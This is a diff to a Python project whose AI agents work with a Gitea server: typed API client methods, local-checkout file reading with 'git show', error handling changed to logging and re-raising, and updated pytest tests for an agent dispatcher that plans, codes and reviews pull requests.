url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
||||
data: dict[str, Any] = {}
|
||||
data: dict[str, str | None] = {}
|
||||
if title is not None:
|
||||
data["title"] = title
|
||||
if body is not None:
|
||||
@@ -322,7 +329,7 @@ class PullRequestsClient:
|
||||
|
||||
def approve_pr(
|
||||
self, owner: str, repo: str, pr_number: int, comment: str
|
||||
) -> dict[str, Any]:
|
||||
) -> dict[str, object]:
|
||||
"""Approve a pull request.
|
||||
|
||||
Args:
|
||||
@@ -335,14 +342,14 @@ class PullRequestsClient:
|
||||
The review response.
|
||||
"""
|
||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||
data: dict[str, Any] = {"event": "APPROVED", "body": comment}
|
||||
response = self.client.post(url, json=data)
|
||||
review: ReviewRequest = ReviewRequest(event="APPROVED", body=comment)
|
||||
response = self.client.post(url, json={"event": review.event, "body": review.body})
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def request_changes_pr(
|
||||
self, owner: str, repo: str, pr_number: int, comment: str
|
||||
) -> dict[str, Any]:
|
||||
) -> dict[str, object]:
|
||||
"""Request changes on a pull request.
|
||||
|
||||
Args:
|
||||
@@ -355,14 +362,14 @@ class PullRequestsClient:
|
||||
The review response.
|
||||
"""
|
||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||
data: dict[str, Any] = {"event": "REQUEST_CHANGES", "body": comment}
|
||||
response = self.client.post(url, json=data)
|
||||
review: ReviewRequest = ReviewRequest(event="REQUEST_CHANGES", body=comment)
|
||||
response = self.client.post(url, json={"event": review.event, "body": review.body})
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get_pr_reviews(
|
||||
self, owner: str, repo: str, pr_number: int
|
||||
) -> list[dict[str, Any]]:
|
||||
) -> list[dict[str, object]]:
|
||||
"""Get reviews for a pull request.
|
||||
|
||||
Args:
|
||||
@@ -382,7 +389,7 @@ class PullRequestsClient:
|
||||
|
||||
def dismiss_review_pr(
|
||||
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
|
||||
) -> dict[str, Any]:
|
||||
) -> dict[str, object]:
|
||||
"""Dismiss a review on a pull request.
|
||||
|
||||
Args:
|
||||
@@ -447,7 +454,7 @@ class PullRequestsClient:
|
||||
url = (
|
||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
|
||||
)
|
||||
data: dict[str, Any] = {
|
||||
data: dict[str, str] = {
|
||||
"Do": style,
|
||||
"MergeTitleField": title,
|
||||
"MergeMessageField": message,
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
"""Repositories client for Gitea API operations."""
|
||||
|
||||
import logging
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
@@ -36,7 +35,7 @@ class ReposClient:
|
||||
url = f"{self.base_url}/api/v1/user/repos"
|
||||
response = self.client.get(url)
|
||||
response.raise_for_status()
|
||||
repos: list[dict[str, Any]] = response.json()
|
||||
repos: list[dict[str, object]] = response.json()
|
||||
# Filter to ONLY configured organization repos, include mirrors
|
||||
seen: set[str] = set()
|
||||
result: list[RepositoryModel] = []
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from gitea.client import GiteaClient
|
||||
|
||||
@@ -5,8 +7,9 @@ from gitea.client import GiteaClient
|
||||
class FileTools:
|
||||
"""Tools for Gitea file/content operations."""
|
||||
|
||||
def __init__(self, client: GiteaClient) -> None:
|
||||
def __init__(self, client: GiteaClient, repo_path: str | None = None) -> None:
|
||||
self._client = client
|
||||
self._repo_path: str | None = repo_path
|
||||
|
||||
def _paginate_lines(
|
||||
self,
|
||||
@@ -35,6 +38,15 @@ class FileTools:
|
||||
)
|
||||
return result
|
||||
|
||||
def _resolve_local_path(self, owner: str, repo: str, path: str) -> str | None:
|
||||
"""Resolve owner/repo/path to a local filesystem path if the repo is cloned."""
|
||||
if not self._repo_path:
|
||||
return None
|
||||
local_repo: str = os.path.join(self._repo_path, owner, repo)
|
||||
if os.path.isdir(local_repo):
|
||||
return os.path.join(local_repo, path)
|
||||
return None
|
||||
|
||||
def get_file_content(
|
||||
self,
|
||||
owner: str,
|
||||
@@ -45,10 +57,22 @@ class FileTools:
|
||||
) -> str:
|
||||
"""Get the content of a file from a Gitea repository with line paging.
|
||||
|
||||
Checks the local workspace first if repo_path is configured, falling
|
||||
back to the remote API when the file is not available locally.
|
||||
|
||||
Args:
|
||||
offset: 1-indexed line to start from (default 1).
|
||||
limit: Maximum number of lines to return (default 250).
|
||||
"""
|
||||
local_path: str | None = self._resolve_local_path(owner, repo, path)
|
||||
if local_path and os.path.isfile(local_path):
|
||||
try:
|
||||
with open(local_path, 'r', encoding='utf-8', errors='replace') as f:
|
||||
raw: str = f.read()
|
||||
return self._paginate_lines(raw, offset, limit)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
content = self._client.files.get_file_content(owner, repo, path)
|
||||
raw: str = "\n".join(content) if isinstance(content, list) else content
|
||||
@@ -67,11 +91,28 @@ class FileTools:
|
||||
) -> str:
|
||||
"""Get file content at a specific git ref with line paging.
|
||||
|
||||
Checks the local workspace first using ``git show`` if the repo is
|
||||
cloned locally, falling back to the remote API.
|
||||
|
||||
Args:
|
||||
ref: Branch, tag, or commit SHA (default 'master').
|
||||
offset: 1-indexed line to start from (default 1).
|
||||
limit: Maximum number of lines to return (default 250).
|
||||
"""
|
||||
if self._repo_path:
|
||||
local_repo: str = os.path.join(self._repo_path, owner, repo)
|
||||
if os.path.isdir(local_repo):
|
||||
try:
|
||||
import subprocess
|
||||
result = subprocess.run(
|
||||
["git", "-C", local_repo, "show", f"{ref}:{path}"],
|
||||
capture_output=True, text=True, timeout=15,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
return self._paginate_lines(result.stdout, offset, limit)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
content = self._client.files.get_file_content(owner, repo, path, ref)
|
||||
raw: str = "\n".join(content) if isinstance(content, list) else content
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
from typing import Any
|
||||
from gitea.client import GiteaClient
|
||||
|
||||
|
||||
|
||||
@@ -15,12 +15,12 @@ class IssueTools:
|
||||
def __init__(self, client: GiteaClient) -> None:
|
||||
self._client = client
|
||||
|
||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
||||
try:
|
||||
issue: IssueModel = self._client.issues.get_issue(owner, repo, issue_number)
|
||||
return issue.model_dump_json(indent=2)
|
||||
return self._client.issues.get_issue(owner, repo, issue_number)
|
||||
except Exception as e:
|
||||
return f"Error getting issue: {str(e)}"
|
||||
logger.error(f"Error getting issue #{issue_number}: {e}", exc_info=True)
|
||||
raise
|
||||
|
||||
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
||||
try:
|
||||
|
||||
+12
-14
@@ -40,14 +40,12 @@ class PRTools:
|
||||
def __init__(self, client: GiteaClient) -> None:
|
||||
self._client = client
|
||||
|
||||
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
||||
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
|
||||
try:
|
||||
pr: PullRequestModel = self._client.prs.get_pull_request(
|
||||
owner, repo, pull_number
|
||||
)
|
||||
return pr.model_dump_json(indent=2)
|
||||
return self._client.prs.get_pull_request(owner, repo, pull_number)
|
||||
except Exception as e:
|
||||
return f"Error getting pull request: {str(e)}"
|
||||
logger.error(f"Error getting pull request #{pull_number}: {e}", exc_info=True)
|
||||
raise
|
||||
|
||||
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
||||
try:
|
||||
@@ -127,14 +125,14 @@ class PRTools:
|
||||
base: str,
|
||||
title: str,
|
||||
description: str = "",
|
||||
) -> str:
|
||||
) -> PullRequestModel:
|
||||
try:
|
||||
pr = self._client.prs.create_pr_via_tea(
|
||||
return self._client.prs.create_pr_via_tea(
|
||||
owner, repo, title, description, head, base
|
||||
)
|
||||
return pr.model_dump_json(indent=2)
|
||||
except Exception as e:
|
||||
return f"Error creating PR: {str(e)}"
|
||||
logger.error(f"Error creating PR in {owner}/{repo}: {e}", exc_info=True)
|
||||
raise
|
||||
|
||||
def update_pull_request(
|
||||
self,
|
||||
@@ -144,14 +142,14 @@ class PRTools:
|
||||
title: str | None = None,
|
||||
body: str | None = None,
|
||||
state: str | None = None,
|
||||
) -> str:
|
||||
) -> PullRequestModel:
|
||||
try:
|
||||
pr = self._client.prs.update_pull_request(
|
||||
return self._client.prs.update_pull_request(
|
||||
owner, repo, pull_number, title, body, state
|
||||
)
|
||||
return pr.model_dump_json(indent=2)
|
||||
except Exception as e:
|
||||
return f"Error updating PR #{pull_number}: {str(e)}"
|
||||
logger.error(f"Error updating PR #{pull_number}: {e}", exc_info=True)
|
||||
raise
|
||||
|
||||
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
|
||||
try:
|
||||
|
||||
@@ -11,7 +11,7 @@ from gitea.tools.issue_tools import IssueTools
|
||||
from gitea.tools.pr_tools import PRTools
|
||||
from gitea.tools.file_tools import FileTools
|
||||
from gitea.tools.git_tools import GitTools
|
||||
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES
|
||||
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES, GITEA_REPOS_ROOT
|
||||
from core.orchestrator import AgentOrchestrator
|
||||
|
||||
import json
|
||||
@@ -73,7 +73,7 @@ async def main() -> None:
|
||||
|
||||
issue_tools: IssueTools = IssueTools(client)
|
||||
pr_tools: PRTools = PRTools(client)
|
||||
file_tools: FileTools = FileTools(client)
|
||||
file_tools: FileTools = FileTools(client, GITEA_REPOS_ROOT)
|
||||
git_tools: GitTools = GitTools(client)
|
||||
model_name: str = AGENT_MODEL_ID
|
||||
|
||||
|
||||
@@ -9,7 +9,6 @@ from gitea.tools.coding_tools import CodingTools
|
||||
from core.dispatcher import AgentDispatcher
|
||||
from core.queue import WorkItem
|
||||
from gitea.client import GiteaClient
|
||||
from gitea.tools.gitea_tools import GiteaTools
|
||||
from gitea.models import IssueModel, PullRequestModel
|
||||
|
||||
pytestmark = pytest.mark.anyio
|
||||
@@ -96,12 +95,16 @@ def test_run_verification_failure(tmp_path: Path) -> None:
|
||||
@patch("core.dispatcher.CodingAgent")
|
||||
@patch("core.dispatcher.PlanningAgent")
|
||||
async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
|
||||
# Mock sub-clients
|
||||
mock_client.prs = MagicMock()
|
||||
mock_client.issues = MagicMock()
|
||||
mock_client.notifications = MagicMock()
|
||||
|
||||
# Mock no existing PRs
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_issue_comments.return_value = []
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.issues.get_issue_comments.return_value = []
|
||||
|
||||
from gitea.models import UserModel
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
@@ -110,13 +113,14 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
|
||||
number=42,
|
||||
title="fix bug",
|
||||
body="bug details",
|
||||
user=UserModel(login="unknown-ai")
|
||||
user=UserModel(login="unknown-ai"),
|
||||
requested_reviewers=[UserModel(login="unknown-ai")],
|
||||
)
|
||||
mock_client.get_pull_request.return_value = mock_pr
|
||||
mock_client.get_pull_request_diff.return_value = "diff"
|
||||
mock_client.get_pull_request_comments.return_value = []
|
||||
mock_client.get_pull_request_files.return_value = []
|
||||
mock_client.get_pr_reviews.return_value = []
|
||||
mock_client.prs.get_pull_request.return_value = mock_pr
|
||||
mock_client.prs.get_pull_request_diff.return_value = "diff"
|
||||
mock_client.prs.get_pull_request_comments.return_value = []
|
||||
mock_client.prs.get_pull_request_files.return_value = []
|
||||
mock_client.prs.get_pr_reviews.return_value = []
|
||||
|
||||
# Mock agent instances
|
||||
mock_planning_agent = MagicMock()
|
||||
@@ -127,7 +131,18 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
|
||||
mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
|
||||
mock_coding_class.return_value = mock_coding_agent
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
from gitea.tools.issue_tools import IssueTools
|
||||
from gitea.tools.pr_tools import PRTools
|
||||
from gitea.tools.file_tools import FileTools
|
||||
from gitea.tools.git_tools import GitTools
|
||||
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=IssueTools(mock_client),
|
||||
pr_tools=PRTools(mock_client),
|
||||
file_tools=FileTools(mock_client),
|
||||
git_tools=GitTools(mock_client),
|
||||
)
|
||||
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
|
||||
+220
-108
@@ -2,16 +2,19 @@ import pytest
|
||||
from unittest.mock import MagicMock, AsyncMock, patch, ANY
|
||||
from core.dispatcher import AgentDispatcher
|
||||
from core.queue import WorkItem
|
||||
from gitea.client import GiteaClient
|
||||
from gitea.tools.gitea_tools import GiteaTools
|
||||
from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
|
||||
|
||||
pytestmark = pytest.mark.anyio
|
||||
|
||||
|
||||
async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
|
||||
# Mock sub-clients
|
||||
mock_client.prs = MagicMock()
|
||||
mock_client.issues = MagicMock()
|
||||
mock_client.notifications = MagicMock()
|
||||
|
||||
# Mock list_repo_pull_requests to return a PR that closes issue #42
|
||||
pr = PullRequestModel(
|
||||
@@ -19,9 +22,15 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
||||
title="fix: resolve bug",
|
||||
body="closes #42"
|
||||
)
|
||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
@@ -35,13 +44,14 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
||||
|
||||
assert len(results) == 1
|
||||
assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
|
||||
mock_client.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
|
||||
mock_client.prs.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
|
||||
|
||||
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
# Mock list_repo_pull_requests to return PRs that don't address issue #42
|
||||
pr = PullRequestModel(
|
||||
@@ -49,8 +59,8 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
||||
title="feat: add something",
|
||||
body="closes #99"
|
||||
)
|
||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
||||
mock_client.get_issue_comments.return_value = []
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||
mock_client.issues.get_issue_comments.return_value = []
|
||||
|
||||
# Mock CoordinatorAgent invoking propose_plan tool
|
||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||
@@ -61,7 +71,13 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||
mock_coord_class.return_value = mock_coord_instance
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
@@ -79,8 +95,9 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
||||
|
||||
@patch("core.dispatcher.CodingAgent")
|
||||
async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
# Mock get_pull_request, get_pull_request_diff, etc.
|
||||
pr = PullRequestModel(
|
||||
@@ -90,25 +107,31 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
|
||||
head={"ref": "branch1"},
|
||||
base={"ref": "master"}
|
||||
)
|
||||
mock_client.get_pull_request.return_value = pr
|
||||
mock_client.get_pull_request_diff.return_value = "diff context"
|
||||
mock_client.get_pull_request_files.return_value = []
|
||||
mock_client.get_pull_request_comments.return_value = []
|
||||
mock_client.prs.get_pull_request.return_value = pr
|
||||
mock_client.prs.get_pull_request_diff.return_value = "diff context"
|
||||
mock_client.prs.get_pull_request_files.return_value = []
|
||||
mock_client.prs.get_pull_request_comments.return_value = []
|
||||
|
||||
# Mock the connected issue and its comments
|
||||
issue = IssueModel(number=42, title="bug description")
|
||||
mock_client.get_issue.return_value = issue
|
||||
mock_client.issues.get_issue.return_value = issue
|
||||
|
||||
comment = CommentModel(id=1, body="First comment")
|
||||
mock_client.get_issue_comments.return_value = [comment]
|
||||
mock_client.issues.get_issue_comments.return_value = [comment]
|
||||
|
||||
# Mock CodingAgent
|
||||
mock_agent_instance = MagicMock()
|
||||
mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
|
||||
mock_agent_class.return_value = mock_agent_instance
|
||||
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
@@ -126,46 +149,54 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
|
||||
assert "bug description" in mission
|
||||
assert "First comment" in mission
|
||||
|
||||
mock_client.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||
mock_client.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
|
||||
mock_client.issues.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||
mock_client.issues.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
|
||||
|
||||
|
||||
async def test_find_pr_for_issue_by_branch() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
|
||||
# 1. Matches fix/issue-42-some-desc
|
||||
pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
|
||||
mock_client.list_repo_pull_requests.return_value = [pr1]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr1]
|
||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||
|
||||
# 2. Matches fix/42
|
||||
pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
|
||||
mock_client.list_repo_pull_requests.return_value = [pr2]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr2]
|
||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||
|
||||
# 3. Matches fix-42_desc
|
||||
pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
|
||||
mock_client.list_repo_pull_requests.return_value = [pr3]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr3]
|
||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||
|
||||
# 4. Does NOT match fix/142
|
||||
pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
|
||||
mock_client.list_repo_pull_requests.return_value = [pr4]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr4]
|
||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
||||
|
||||
# 5. Does NOT match fix/421
|
||||
pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
|
||||
mock_client.list_repo_pull_requests.return_value = [pr5]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr5]
|
||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
||||
|
||||
|
||||
|
||||
async def test_find_pr_for_issue_by_raw_mention() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
# PR body mentions #42
|
||||
pr = PullRequestModel(
|
||||
@@ -174,33 +205,51 @@ async def test_find_pr_for_issue_by_raw_mention() -> None:
|
||||
body="This is for #42 to fix the bug",
|
||||
head={"ref": "some-branch"}
|
||||
)
|
||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
|
||||
assert res is not None
|
||||
assert res.number == 103
|
||||
|
||||
|
||||
async def test_dispatch_skips_already_reviewed_pr() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_client.prs = MagicMock()
|
||||
mock_client.issues = MagicMock()
|
||||
mock_client.notifications = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
from gitea.models import UserModel
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
pr = PullRequestModel(
|
||||
number=104,
|
||||
title="already reviewed PR",
|
||||
body="closes #42",
|
||||
user=UserModel(login="unknown-ai")
|
||||
user=UserModel(login="unknown-ai"),
|
||||
requested_reviewers=[],
|
||||
)
|
||||
mock_client.get_pull_request.return_value = pr
|
||||
mock_client.get_pull_request_diff.return_value = "diff"
|
||||
mock_client.get_pull_request_comments.return_value = [
|
||||
mock_client.prs.get_pull_request.return_value = pr
|
||||
mock_client.prs.get_pull_request_diff.return_value = "diff"
|
||||
mock_client.prs.get_pull_request_comments.return_value = [
|
||||
CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
|
||||
]
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
@@ -225,7 +274,7 @@ def _make_comment(login: str, body: str) -> CommentModel:
|
||||
|
||||
def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
|
||||
mock_client = MagicMock()
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
return AgentDispatcher(client=mock_client, tools=MagicMock())
|
||||
|
||||
|
||||
@@ -266,12 +315,13 @@ def test_is_awaiting_reply_no_marker_not_detected() -> None:
|
||||
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_issue_comments.return_value = []
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.issues.get_issue_comments.return_value = []
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||
coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
||||
@@ -280,7 +330,13 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||
mock_coord_class.return_value = mock_coord_instance
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -292,17 +348,18 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||
assert len(results) == 1
|
||||
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
||||
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
|
||||
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
|
||||
|
||||
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_issue_comments.return_value = []
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.issues.get_issue_comments.return_value = []
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||
coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
||||
@@ -311,7 +368,13 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||
mock_coord_class.return_value = mock_coord_instance
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
